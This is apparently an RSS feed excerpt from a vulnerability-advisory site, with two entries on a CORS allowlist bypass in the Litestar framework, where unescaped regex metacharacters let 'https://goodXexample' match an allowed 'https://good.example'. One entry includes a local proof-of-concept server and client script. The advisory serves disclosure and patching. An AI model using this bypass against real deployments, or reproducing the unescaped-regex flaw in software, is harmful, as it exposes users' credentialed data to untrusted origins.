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    <lastBuildDate>Tue, 06 Oct 2026 19:50:03 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-25478 — Litestar has a CORS origin allowlist bypass due to unescaped regex metacharacters in allowed origins</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-25478</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; litestar-org litestar&lt;/p&gt;
&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; litestar-org litestar&lt;/p&gt;
&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin). This vulnerability is fixed in 2.20.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-25478</guid>
    </item>
    <item>
      <title>GHSA-2p2x-hpg8-cqp2 — Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-2p2x-hpg8-cqp2</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;### Summary
CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin&lt;/p&gt;
&lt;p&gt;### Details
CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).&lt;/p&gt;
&lt;p&gt;### PoC
Server (poc_cors_server.py)&lt;/p&gt;
&lt;p&gt;```
from litestar import Litestar, get
from litestar.config.cors import CORSConfig&lt;/p&gt;
&lt;p&gt;@get(&amp;#34;/c&amp;#34;)
async def c() -&amp;gt; str:
    return &amp;#34;ok&amp;#34;&lt;/p&gt;
&lt;p&gt;cors = CORSConfig(
    allow_origins=[&amp;#34;https://good.example&amp;#34;],
    allow_credentials=True,
)
app = Litestar([c], cors_config=cors)
```&lt;/p&gt;
&lt;p&gt;`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`&lt;/p&gt;
&lt;p&gt;Client (poc_cors_client.py)&lt;/p&gt;
&lt;p&gt;```
import http.client&lt;/p&gt;
&lt;p&gt;def req(origin: str) -&amp;gt; tuple[int, str | None]:
    c = http.client.HTTPConnection(&amp;#34;127.0.0.1&amp;#34;, 8002, timeout=3)
    c.request(&amp;#34;GET&amp;#34;, &amp;#34;/c&amp;#34;, headers={&amp;#34;Origin&amp;#34;: origin, &amp;#34;Host&amp;#34;: &amp;#34;example.com&amp;#34;})
    r = c.getresponse()
    r.read()
    acao = r.getheader(&amp;#34;Access-Control-Allow-Origin&amp;#34;)
    c.close()
    return r.status, acao&lt;/p&gt;
&lt;p&gt;print(&amp;#34;evil:&amp;#34;, req(&amp;#34;https://evil.example&amp;#34;))
print(&amp;#34;bypass:&amp;#34;, req(&amp;#34;https://goodXexample&amp;#34;)) 
```&lt;/p&gt;
&lt;p&gt;Expected (vulnerable behavior):&lt;/p&gt;
&lt;p&gt;Origin: https://…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;### Summary
CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin&lt;/p&gt;
&lt;p&gt;### Details
CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).&lt;/p&gt;
&lt;p&gt;### PoC
Server (poc_cors_server.py)&lt;/p&gt;
&lt;p&gt;```
from litestar import Litestar, get
from litestar.config.cors import CORSConfig&lt;/p&gt;
&lt;p&gt;@get(&amp;#34;/c&amp;#34;)
async def c() -&amp;gt; str:
    return &amp;#34;ok&amp;#34;&lt;/p&gt;
&lt;p&gt;cors = CORSConfig(
    allow_origins=[&amp;#34;https://good.example&amp;#34;],
    allow_credentials=True,
)
app = Litestar([c], cors_config=cors)
```&lt;/p&gt;
&lt;p&gt;`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`&lt;/p&gt;
&lt;p&gt;Client (poc_cors_client.py)&lt;/p&gt;
&lt;p&gt;```
import http.client&lt;/p&gt;
&lt;p&gt;def req(origin: str) -&amp;gt; tuple[int, str | None]:
    c = http.client.HTTPConnection(&amp;#34;127.0.0.1&amp;#34;, 8002, timeout=3)
    c.request(&amp;#34;GET&amp;#34;, &amp;#34;/c&amp;#34;, headers={&amp;#34;Origin&amp;#34;: origin, &amp;#34;Host&amp;#34;: &amp;#34;example.com&amp;#34;})
    r = c.getresponse()
    r.read()
    acao = r.getheader(&amp;#34;Access-Control-Allow-Origin&amp;#34;)
    c.close()
    return r.status, acao&lt;/p&gt;
&lt;p&gt;print(&amp;#34;evil:&amp;#34;, req(&amp;#34;https://evil.example&amp;#34;))
print(&amp;#34;bypass:&amp;#34;, req(&amp;#34;https://goodXexample&amp;#34;)) 
```&lt;/p&gt;
&lt;p&gt;Expected (vulnerable behavior):&lt;/p&gt;
&lt;p&gt;Origin: https://…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-2p2x-hpg8-cqp2</guid>
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